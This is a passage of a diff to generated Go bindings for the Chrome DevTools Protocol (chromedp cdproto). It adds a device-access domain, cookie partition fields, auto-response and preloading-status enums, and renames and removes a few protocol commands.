for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "id":
|
||||
out.ID = RequestID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess5(out *jwriter.Writer, in CancelPromptParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"id\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.ID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v CancelPromptParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess5(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v CancelPromptParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceaccess5(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *CancelPromptParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess5(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *CancelPromptParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceaccess5(l, v)
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
package deviceaccess
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// EventDeviceRequestPrompted a device request opened a user prompt to select
|
||||
// a device. Respond with the selectPrompt or cancelPrompt command.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#event-deviceRequestPrompted
|
||||
type EventDeviceRequestPrompted struct {
|
||||
ID RequestID `json:"id"`
|
||||
Devices []*PromptDevice `json:"devices"`
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
package deviceaccess
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
// RequestID device request id.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#type-RequestId
|
||||
type RequestID string
|
||||
|
||||
// String returns the RequestID as string value.
|
||||
func (t RequestID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DeviceID a device id.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#type-DeviceId
|
||||
type DeviceID string
|
||||
|
||||
// String returns the DeviceID as string value.
|
||||
func (t DeviceID) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PromptDevice device information displayed in a user prompt to select a
|
||||
// device.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceAccess#type-PromptDevice
|
||||
type PromptDevice struct {
|
||||
ID DeviceID `json:"id"`
|
||||
Name string `json:"name"` // Display name as it appears in a device request user prompt.
|
||||
}
|
||||
+3
-2
@@ -501,14 +501,15 @@ func (p *GetContentQuadsParams) Do(ctx context.Context) (quads []Quad, err error
|
||||
}
|
||||
|
||||
// GetDocumentParams returns the root DOM node (and optionally the subtree)
|
||||
// to the caller.
|
||||
// to the caller. Implicitly enables the DOM domain events for the current
|
||||
// target.
|
||||
type GetDocumentParams struct {
|
||||
Depth int64 `json:"depth,omitempty"` // The maximum depth at which children should be retrieved, defaults to 1. Use -1 for the entire subtree or provide an integer larger than 0.
|
||||
Pierce bool `json:"pierce,omitempty"` // Whether or not iframes and shadow roots should be traversed when returning the subtree (default is false).
|
||||
}
|
||||
|
||||
// GetDocument returns the root DOM node (and optionally the subtree) to the
|
||||
// caller.
|
||||
// caller. Implicitly enables the DOM domain events for the current target.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-getDocument
|
||||
//
|
||||
|
||||
+2
-2
@@ -423,7 +423,7 @@ func (p *SetEmulatedMediaParams) Do(ctx context.Context) (err error) {
|
||||
|
||||
// SetEmulatedVisionDeficiencyParams emulates the given vision deficiency.
|
||||
type SetEmulatedVisionDeficiencyParams struct {
|
||||
Type SetEmulatedVisionDeficiencyType `json:"type"` // Vision deficiency to emulate.
|
||||
Type SetEmulatedVisionDeficiencyType `json:"type"` // Vision deficiency to emulate. Order: best-effort emulations come first, followed by any physiologically accurate emulations for medically recognized color vision deficiencies.
|
||||
}
|
||||
|
||||
// SetEmulatedVisionDeficiency emulates the given vision deficiency.
|
||||
@@ -432,7 +432,7 @@ type SetEmulatedVisionDeficiencyParams struct {
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// type - Vision deficiency to emulate.
|
||||
// type - Vision deficiency to emulate. Order: best-effort emulations come first, followed by any physiologically accurate emulations for medically recognized color vision deficiencies.
|
||||
func SetEmulatedVisionDeficiency(typeVal SetEmulatedVisionDeficiencyType) *SetEmulatedVisionDeficiencyParams {
|
||||
return &SetEmulatedVisionDeficiencyParams{
|
||||
Type: typeVal,
|
||||
|
||||
+16
-11
@@ -102,8 +102,8 @@ type UserAgentBrandVersion struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Emulation#type-UserAgentMetadata
|
||||
type UserAgentMetadata struct {
|
||||
Brands []*UserAgentBrandVersion `json:"brands,omitempty"`
|
||||
FullVersionList []*UserAgentBrandVersion `json:"fullVersionList,omitempty"`
|
||||
Brands []*UserAgentBrandVersion `json:"brands,omitempty"` // Brands appearing in Sec-CH-UA.
|
||||
FullVersionList []*UserAgentBrandVersion `json:"fullVersionList,omitempty"` // Brands appearing in Sec-CH-UA-Full-Version-List.
|
||||
Platform string `json:"platform"`
|
||||
PlatformVersion string `json:"platformVersion"`
|
||||
Architecture string `json:"architecture"`
|
||||
@@ -301,7 +301,9 @@ func (t *SetEmitTouchEventsForMouseConfiguration) UnmarshalJSON(buf []byte) erro
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SetEmulatedVisionDeficiencyType vision deficiency to emulate.
|
||||
// SetEmulatedVisionDeficiencyType vision deficiency to emulate. Order:
|
||||
// best-effort emulations come first, followed by any physiologically accurate
|
||||
// emulations for medically recognized color vision deficiencies.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Emulation#method-setEmulatedVisionDeficiency
|
||||
type SetEmulatedVisionDeficiencyType string
|
||||
@@ -313,12 +315,13 @@ func (t SetEmulatedVisionDeficiencyType) String() string {
|
||||
|
||||
// SetEmulatedVisionDeficiencyType values.
|
||||
const (
|
||||
SetEmulatedVisionDeficiencyTypeNone SetEmulatedVisionDeficiencyType = "none"
|
||||
SetEmulatedVisionDeficiencyTypeAchromatopsia SetEmulatedVisionDeficiencyType = "achromatopsia"
|
||||
SetEmulatedVisionDeficiencyTypeBlurredVision SetEmulatedVisionDeficiencyType = "blurredVision"
|
||||
SetEmulatedVisionDeficiencyTypeDeuteranopia SetEmulatedVisionDeficiencyType = "deuteranopia"
|
||||
SetEmulatedVisionDeficiencyTypeProtanopia SetEmulatedVisionDeficiencyType = "protanopia"
|
||||
SetEmulatedVisionDeficiencyTypeTritanopia SetEmulatedVisionDeficiencyType = "tritanopia"
|
||||
SetEmulatedVisionDeficiencyTypeNone SetEmulatedVisionDeficiencyType = "none"
|
||||
SetEmulatedVisionDeficiencyTypeBlurredVision SetEmulatedVisionDeficiencyType = "blurredVision"
|
||||
SetEmulatedVisionDeficiencyTypeReducedContrast SetEmulatedVisionDeficiencyType = "reducedContrast"
|
||||
SetEmulatedVisionDeficiencyTypeAchromatopsia SetEmulatedVisionDeficiencyType = "achromatopsia"
|
||||
SetEmulatedVisionDeficiencyTypeDeuteranopia SetEmulatedVisionDeficiencyType = "deuteranopia"
|
||||
SetEmulatedVisionDeficiencyTypeProtanopia SetEmulatedVisionDeficiencyType = "protanopia"
|
||||
SetEmulatedVisionDeficiencyTypeTritanopia SetEmulatedVisionDeficiencyType = "tritanopia"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -337,10 +340,12 @@ func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetEmulatedVisionDeficiencyType(v) {
|
||||
case SetEmulatedVisionDeficiencyTypeNone:
|
||||
*t = SetEmulatedVisionDeficiencyTypeNone
|
||||
case SetEmulatedVisionDeficiencyTypeAchromatopsia:
|
||||
*t = SetEmulatedVisionDeficiencyTypeAchromatopsia
|
||||
case SetEmulatedVisionDeficiencyTypeBlurredVision:
|
||||
*t = SetEmulatedVisionDeficiencyTypeBlurredVision
|
||||
case SetEmulatedVisionDeficiencyTypeReducedContrast:
|
||||
*t = SetEmulatedVisionDeficiencyTypeReducedContrast
|
||||
case SetEmulatedVisionDeficiencyTypeAchromatopsia:
|
||||
*t = SetEmulatedVisionDeficiencyTypeAchromatopsia
|
||||
case SetEmulatedVisionDeficiencyTypeDeuteranopia:
|
||||
*t = SetEmulatedVisionDeficiencyTypeDeuteranopia
|
||||
case SetEmulatedVisionDeficiencyTypeProtanopia:
|
||||
|
||||
+18
-4
@@ -416,8 +416,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoNetwork3(in *jlexer.Lexer, ou
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "type":
|
||||
(out.Type).UnmarshalEasyJSON(in)
|
||||
case "operation":
|
||||
(out.Operation).UnmarshalEasyJSON(in)
|
||||
case "refreshPolicy":
|
||||
(out.RefreshPolicy).UnmarshalEasyJSON(in)
|
||||
case "issuers":
|
||||
@@ -458,9 +458,9 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoNetwork3(out *jwriter.Writer,
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"type\":"
|
||||
const prefix string = ",\"operation\":"
|
||||
out.RawString(prefix[1:])
|
||||
(in.Type).MarshalEasyJSON(out)
|
||||
(in.Operation).MarshalEasyJSON(out)
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"refreshPolicy\":"
|
||||
@@ -6859,6 +6859,10 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoNetwork64(in *jlexer.Lexer, o
|
||||
out.StatusCode = int64(in.Int64())
|
||||
case "headersText":
|
||||
out.HeadersText = string(in.String())
|
||||
case "cookiePartitionKey":
|
||||
out.CookiePartitionKey = string(in.String())
|
||||
case "cookiePartitionKeyOpaque":
|
||||
out.CookiePartitionKeyOpaque = bool(in.Bool())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -6940,6 +6944,16 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoNetwork64(out *jwriter.Writer
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.HeadersText))
|
||||
}
|
||||
if in.CookiePartitionKey != "" {
|
||||
const prefix string = ",\"cookiePartitionKey\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.CookiePartitionKey))
|
||||
}
|
||||
if in.CookiePartitionKeyOpaque {
|
||||
const prefix string = ",\"cookiePartitionKeyOpaque\":"
|
||||
out.RawString(prefix)
|
||||
out.Bool(bool(in.CookiePartitionKeyOpaque))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+8
-6
@@ -224,12 +224,14 @@ type EventRequestWillBeSentExtraInfo struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#event-responseReceivedExtraInfo
|
||||
type EventResponseReceivedExtraInfo struct {
|
||||
RequestID RequestID `json:"requestId"` // Request identifier. Used to match this information to another responseReceived event.
|
||||
BlockedCookies []*BlockedSetCookieWithReason `json:"blockedCookies"` // A list of cookies which were not stored from the response along with the corresponding reasons for blocking. The cookies here may not be valid due to syntax errors, which are represented by the invalid cookie line string instead of a proper cookie.
|
||||
Headers Headers `json:"headers"` // Raw response headers as they were received over the wire.
|
||||
ResourceIPAddressSpace IPAddressSpace `json:"resourceIPAddressSpace"` // The IP address space of the resource. The address space can only be determined once the transport established the connection, so we can't send it in requestWillBeSentExtraInfo.
|
||||
StatusCode int64 `json:"statusCode"` // The status code of the response. This is useful in cases the request failed and no responseReceived event is triggered, which is the case for, e.g., CORS errors. This is also the correct status code for cached requests, where the status in responseReceived is a 200 and this will be 304.
|
||||
HeadersText string `json:"headersText,omitempty"` // Raw response header text as it was received over the wire. The raw text may not always be available, such as in the case of HTTP/2 or QUIC.
|
||||
RequestID RequestID `json:"requestId"` // Request identifier. Used to match this information to another responseReceived event.
|
||||
BlockedCookies []*BlockedSetCookieWithReason `json:"blockedCookies"` // A list of cookies which were not stored from the response along with the corresponding reasons for blocking. The cookies here may not be valid due to syntax errors, which are represented by the invalid cookie line string instead of a proper cookie.
|
||||
Headers Headers `json:"headers"` // Raw response headers as they were received over the wire.
|
||||
ResourceIPAddressSpace IPAddressSpace `json:"resourceIPAddressSpace"` // The IP address space of the resource. The address space can only be determined once the transport established the connection, so we can't send it in requestWillBeSentExtraInfo.
|
||||
StatusCode int64 `json:"statusCode"` // The status code of the response. This is useful in cases the request failed and no responseReceived event is triggered, which is the case for, e.g., CORS errors. This is also the correct status code for cached requests, where the status in responseReceived is a 200 and this will be 304.
|
||||
HeadersText string `json:"headersText,omitempty"` // Raw response header text as it was received over the wire. The raw text may not always be available, such as in the case of HTTP/2 or QUIC.
|
||||
CookiePartitionKey string `json:"cookiePartitionKey,omitempty"` // The cookie partition key that will be used to store partitioned cookies set in this response. Only sent when partitioned cookies are enabled.
|
||||
CookiePartitionKeyOpaque bool `json:"cookiePartitionKeyOpaque,omitempty"` // True if partitioned cookies are enabled, but the partition key is not serializeable to string.
|
||||
}
|
||||
|
||||
// EventTrustTokenOperationDone fired exactly once for each Trust Token
|
||||
|
||||
+4
-4
@@ -887,8 +887,8 @@ func (t *ServiceWorkerResponseSource) UnmarshalJSON(buf []byte) error {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-TrustTokenParams
|
||||
type TrustTokenParams struct {
|
||||
Type TrustTokenOperationType `json:"type"`
|
||||
RefreshPolicy TrustTokenParamsRefreshPolicy `json:"refreshPolicy"` // Only set for "token-redemption" type and determine whether to request a fresh SRR or use a still valid cached SRR.
|
||||
Operation TrustTokenOperationType `json:"operation"`
|
||||
RefreshPolicy TrustTokenParamsRefreshPolicy `json:"refreshPolicy"` // Only set for "token-redemption" operation and determine whether to request a fresh SRR or use a still valid cached SRR.
|
||||
Issuers []string `json:"issuers,omitempty"` // Origins of issuers from whom to request tokens or redemption records.
|
||||
}
|
||||
|
||||
@@ -1978,8 +1978,8 @@ func (t *ReferrerPolicy) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// TrustTokenParamsRefreshPolicy only set for "token-redemption" type and
|
||||
// determine whether to request a fresh SRR or use a still valid cached SRR.
|
||||
// TrustTokenParamsRefreshPolicy only set for "token-redemption" operation
|
||||
// and determine whether to request a fresh SRR or use a still valid cached SRR.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-TrustTokenParams
|
||||
type TrustTokenParamsRefreshPolicy string
|
||||
|
||||
+818
-718
File diff suppressed because it is too large.
Load diff
+20
@@ -154,6 +154,26 @@ type EventPrerenderAttemptCompleted struct {
|
||||
DisallowedAPIMethod string `json:"disallowedApiMethod,omitempty"` // This is used to give users more information about the name of the API call that is incompatible with prerender and has caused the cancellation of the attempt
|
||||
}
|
||||
|
||||
// EventPrefetchStatusUpdated tODO(crbug/1384419): Create a dedicated domain
|
||||
// for preloading. Fired when a prefetch attempt is updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-prefetchStatusUpdated
|
||||
type EventPrefetchStatusUpdated struct {
|
||||
InitiatingFrameID cdp.FrameID `json:"initiatingFrameId"` // The frame id of the frame initiating prefetch.
|
||||
PrefetchURL string `json:"prefetchUrl"`
|
||||
Status PreloadingStatus `json:"status"`
|
||||
}
|
||||
|
||||
// EventPrerenderStatusUpdated tODO(crbug/1384419): Create a dedicated domain
|
||||
// for preloading. Fired when a prerender attempt is updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-prerenderStatusUpdated
|
||||
type EventPrerenderStatusUpdated struct {
|
||||
InitiatingFrameID cdp.FrameID `json:"initiatingFrameId"` // The frame id of the frame initiating prerender.
|
||||
PrerenderingURL string `json:"prerenderingUrl"`
|
||||
Status PreloadingStatus `json:"status"`
|
||||
}
|
||||
|
||||
// EventLoadEventFired [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-loadEventFired
|
||||
|
||||
+28
-40
@@ -375,43 +375,6 @@ func (p *GetInstallabilityErrorsParams) Do(ctx context.Context) (installabilityE
|
||||
return res.InstallabilityErrors, nil
|
||||
}
|
||||
|
||||
// GetManifestIconsParams [no description].
|
||||
type GetManifestIconsParams struct{}
|
||||
|
||||
// GetManifestIcons [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#method-getManifestIcons
|
||||
func GetManifestIcons() *GetManifestIconsParams {
|
||||
return &GetManifestIconsParams{}
|
||||
}
|
||||
|
||||
// GetManifestIconsReturns return values.
|
||||
type GetManifestIconsReturns struct {
|
||||
PrimaryIcon string `json:"primaryIcon,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Page.getManifestIcons against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// primaryIcon
|
||||
func (p *GetManifestIconsParams) Do(ctx context.Context) (primaryIcon []byte, err error) {
|
||||
// execute
|
||||
var res GetManifestIconsReturns
|
||||
err = cdp.Execute(ctx, CommandGetManifestIcons, nil, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// decode
|
||||
var dec []byte
|
||||
dec, err = base64.StdEncoding.DecodeString(res.PrimaryIcon)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return dec, nil
|
||||
}
|
||||
|
||||
// GetAppIDParams returns the unique (PWA) app id. Only returns values if the
|
||||
// feature flag 'WebAppEnableManifestId' is enabled.
|
||||
type GetAppIDParams struct{}
|
||||
@@ -1580,7 +1543,7 @@ func (p *ClearCompilationCacheParams) Do(ctx context.Context) (err error) {
|
||||
// transaction mode.
|
||||
// https://w3c.github.io/secure-payment-confirmation/#sctn-automation-set-spc-transaction-mode.
|
||||
type SetSPCTransactionModeParams struct {
|
||||
Mode SetSPCTransactionModeMode `json:"mode"`
|
||||
Mode AutoResponseMode `json:"mode"`
|
||||
}
|
||||
|
||||
// SetSPCTransactionMode sets the Secure Payment Confirmation transaction
|
||||
@@ -1592,7 +1555,7 @@ type SetSPCTransactionModeParams struct {
|
||||
// parameters:
|
||||
//
|
||||
// mode
|
||||
func SetSPCTransactionMode(mode SetSPCTransactionModeMode) *SetSPCTransactionModeParams {
|
||||
func SetSPCTransactionMode(mode AutoResponseMode) *SetSPCTransactionModeParams {
|
||||
return &SetSPCTransactionModeParams{
|
||||
Mode: mode,
|
||||
}
|
||||
@@ -1603,6 +1566,31 @@ func (p *SetSPCTransactionModeParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetSPCTransactionMode, p, nil)
|
||||
}
|
||||
|
||||
// SetRPHRegistrationModeParams extensions for Custom Handlers API:
|
||||
// https://html.spec.whatwg.org/multipage/system-state.html#rph-automation.
|
||||
type SetRPHRegistrationModeParams struct {
|
||||
Mode AutoResponseMode `json:"mode"`
|
||||
}
|
||||
|
||||
// SetRPHRegistrationMode extensions for Custom Handlers API:
|
||||
// https://html.spec.whatwg.org/multipage/system-state.html#rph-automation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#method-setRPHRegistrationMode
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// mode
|
||||
func SetRPHRegistrationMode(mode AutoResponseMode) *SetRPHRegistrationModeParams {
|
||||
return &SetRPHRegistrationModeParams{
|
||||
Mode: mode,
|
||||
}
|
||||
}
|
||||
|
||||
// Do executes Page.setRPHRegistrationMode against the provided context.
|
||||
func (p *SetRPHRegistrationModeParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandSetRPHRegistrationMode, p, nil)
|
||||
}
|
||||
|
||||
// GenerateTestReportParams generates a report for testing.
|
||||
type GenerateTestReportParams struct {
|
||||
Message string `json:"message"` // Message to be displayed in the report.
|
||||
@@ -1690,7 +1678,6 @@ const (
|
||||
CommandEnable = "Page.enable"
|
||||
CommandGetAppManifest = "Page.getAppManifest"
|
||||
CommandGetInstallabilityErrors = "Page.getInstallabilityErrors"
|
||||
CommandGetManifestIcons = "Page.getManifestIcons"
|
||||
CommandGetAppID = "Page.getAppId"
|
||||
CommandGetAdScriptID = "Page.getAdScriptId"
|
||||
CommandGetFrameTree = "Page.getFrameTree"
|
||||
@@ -1725,6 +1712,7 @@ const (
|
||||
CommandAddCompilationCache = "Page.addCompilationCache"
|
||||
CommandClearCompilationCache = "Page.clearCompilationCache"
|
||||
CommandSetSPCTransactionMode = "Page.setSPCTransactionMode"
|
||||
CommandSetRPHRegistrationMode = "Page.setRPHRegistrationMode"
|
||||
CommandGenerateTestReport = "Page.generateTestReport"
|
||||
CommandWaitForDebugger = "Page.waitForDebugger"
|
||||
CommandSetInterceptFileChooserDialog = "Page.setInterceptFileChooserDialog"
|
||||
|
||||
+135
-51
@@ -111,6 +111,7 @@ const (
|
||||
PermissionsPolicyFeatureUsb PermissionsPolicyFeature = "usb"
|
||||
PermissionsPolicyFeatureVerticalScroll PermissionsPolicyFeature = "vertical-scroll"
|
||||
PermissionsPolicyFeatureWebShare PermissionsPolicyFeature = "web-share"
|
||||
PermissionsPolicyFeatureWindowManagement PermissionsPolicyFeature = "window-management"
|
||||
PermissionsPolicyFeatureWindowPlacement PermissionsPolicyFeature = "window-placement"
|
||||
PermissionsPolicyFeatureXrSpatialTracking PermissionsPolicyFeature = "xr-spatial-tracking"
|
||||
)
|
||||
@@ -279,6 +280,8 @@ func (t *PermissionsPolicyFeature) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PermissionsPolicyFeatureVerticalScroll
|
||||
case PermissionsPolicyFeatureWebShare:
|
||||
*t = PermissionsPolicyFeatureWebShare
|
||||
case PermissionsPolicyFeatureWindowManagement:
|
||||
*t = PermissionsPolicyFeatureWindowManagement
|
||||
case PermissionsPolicyFeatureWindowPlacement:
|
||||
*t = PermissionsPolicyFeatureWindowPlacement
|
||||
case PermissionsPolicyFeatureXrSpatialTracking:
|
||||
@@ -840,6 +843,58 @@ type CompilationCacheParams struct {
|
||||
Eager bool `json:"eager,omitempty"` // A hint to the backend whether eager compilation is recommended. (the actual compilation mode used is upon backend discretion).
|
||||
}
|
||||
|
||||
// AutoResponseMode enum of possible auto-response for permissions / prompt
|
||||
// dialogs.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-AutoResponseMode
|
||||
type AutoResponseMode string
|
||||
|
||||
// String returns the AutoResponseMode as string value.
|
||||
func (t AutoResponseMode) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// AutoResponseMode values.
|
||||
const (
|
||||
AutoResponseModeNone AutoResponseMode = "none"
|
||||
AutoResponseModeAutoAccept AutoResponseMode = "autoAccept"
|
||||
AutoResponseModeAutoReject AutoResponseMode = "autoReject"
|
||||
AutoResponseModeAutoOptOut AutoResponseMode = "autoOptOut"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t AutoResponseMode) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t AutoResponseMode) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AutoResponseMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch AutoResponseMode(v) {
|
||||
case AutoResponseModeNone:
|
||||
*t = AutoResponseModeNone
|
||||
case AutoResponseModeAutoAccept:
|
||||
*t = AutoResponseModeAutoAccept
|
||||
case AutoResponseModeAutoReject:
|
||||
*t = AutoResponseModeAutoReject
|
||||
case AutoResponseModeAutoOptOut:
|
||||
*t = AutoResponseModeAutoOptOut
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AutoResponseMode value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *AutoResponseMode) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// NavigationType the type of a frameNavigated event.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-NavigationType
|
||||
@@ -1425,6 +1480,13 @@ const (
|
||||
PrerenderFinalStatusActivationNavigationDestroyedBeforeSuccess PrerenderFinalStatus = "ActivationNavigationDestroyedBeforeSuccess"
|
||||
PrerenderFinalStatusTabClosedByUserGesture PrerenderFinalStatus = "TabClosedByUserGesture"
|
||||
PrerenderFinalStatusTabClosedWithoutUserGesture PrerenderFinalStatus = "TabClosedWithoutUserGesture"
|
||||
PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed PrerenderFinalStatus = "PrimaryMainFrameRendererProcessCrashed"
|
||||
PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled PrerenderFinalStatus = "PrimaryMainFrameRendererProcessKilled"
|
||||
PrerenderFinalStatusActivationFramePolicyNotCompatible PrerenderFinalStatus = "ActivationFramePolicyNotCompatible"
|
||||
PrerenderFinalStatusPreloadingDisabled PrerenderFinalStatus = "PreloadingDisabled"
|
||||
PrerenderFinalStatusBatterySaverEnabled PrerenderFinalStatus = "BatterySaverEnabled"
|
||||
PrerenderFinalStatusActivatedDuringMainFrameNavigation PrerenderFinalStatus = "ActivatedDuringMainFrameNavigation"
|
||||
PrerenderFinalStatusPreloadingUnsupportedByWebContents PrerenderFinalStatus = "PreloadingUnsupportedByWebContents"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -1539,6 +1601,20 @@ func (t *PrerenderFinalStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PrerenderFinalStatusTabClosedByUserGesture
|
||||
case PrerenderFinalStatusTabClosedWithoutUserGesture:
|
||||
*t = PrerenderFinalStatusTabClosedWithoutUserGesture
|
||||
case PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed:
|
||||
*t = PrerenderFinalStatusPrimaryMainFrameRendererProcessCrashed
|
||||
case PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled:
|
||||
*t = PrerenderFinalStatusPrimaryMainFrameRendererProcessKilled
|
||||
case PrerenderFinalStatusActivationFramePolicyNotCompatible:
|
||||
*t = PrerenderFinalStatusActivationFramePolicyNotCompatible
|
||||
case PrerenderFinalStatusPreloadingDisabled:
|
||||
*t = PrerenderFinalStatusPreloadingDisabled
|
||||
case PrerenderFinalStatusBatterySaverEnabled:
|
||||
*t = PrerenderFinalStatusBatterySaverEnabled
|
||||
case PrerenderFinalStatusActivatedDuringMainFrameNavigation:
|
||||
*t = PrerenderFinalStatusActivatedDuringMainFrameNavigation
|
||||
case PrerenderFinalStatusPreloadingUnsupportedByWebContents:
|
||||
*t = PrerenderFinalStatusPreloadingUnsupportedByWebContents
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PrerenderFinalStatus value: %v", v))
|
||||
@@ -1550,6 +1626,65 @@ func (t *PrerenderFinalStatus) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PreloadingStatus preloading status values, see also
|
||||
// PreloadingTriggeringOutcome. This status is shared by prefetchStatusUpdated
|
||||
// and prerenderStatusUpdated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#type-PreloadingStatus
|
||||
type PreloadingStatus string
|
||||
|
||||
// String returns the PreloadingStatus as string value.
|
||||
func (t PreloadingStatus) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PreloadingStatus values.
|
||||
const (
|
||||
PreloadingStatusPending PreloadingStatus = "Pending"
|
||||
PreloadingStatusRunning PreloadingStatus = "Running"
|
||||
PreloadingStatusReady PreloadingStatus = "Ready"
|
||||
PreloadingStatusSuccess PreloadingStatus = "Success"
|
||||
PreloadingStatusFailure PreloadingStatus = "Failure"
|
||||
PreloadingStatusNotSupported PreloadingStatus = "NotSupported"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PreloadingStatus) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
